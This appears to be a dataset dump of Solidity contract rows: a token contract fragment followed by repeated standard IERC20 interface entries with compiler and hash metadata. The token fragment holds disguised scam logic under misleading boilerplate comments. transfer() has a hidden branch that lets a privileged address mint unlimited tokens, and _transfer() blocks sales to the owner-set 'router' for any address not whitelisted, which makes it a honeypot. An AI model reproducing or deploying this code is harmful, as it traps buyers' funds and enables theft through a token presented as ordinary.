function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
} | teamwallet | function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.10+commit.fc410830 | None | ipfs://82f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff70 | {
"func_code_index": [
4460,
4627
]
} | 8,977 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
88,
146
]
} | 8,978 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | decimals | function decimals() external view returns (uint8);
| /**
* @dev Returns the token decimals.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
202,
255
]
} | 8,979 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | symbol | function symbol() external view returns (string memory);
| /**
* @dev Returns the token symbol.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
309,
368
]
} | 8,980 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | name | function name() external view returns (string memory);
| /**
* @dev Returns the token name.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
418,
475
]
} | 8,981 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | getOwner | function getOwner() external view returns (address);
| /**
* @dev Returns the erc token owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
532,
587
]
} | 8,982 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
664,
735
]
} | 8,983 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
945,
1025
]
} | 8,984 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | allowance | function allowance(address _owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1290,
1377
]
} | 8,985 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
2013,
2090
]
} | 8,986 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
2385,
2485
]
} | 8,987 |
||
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
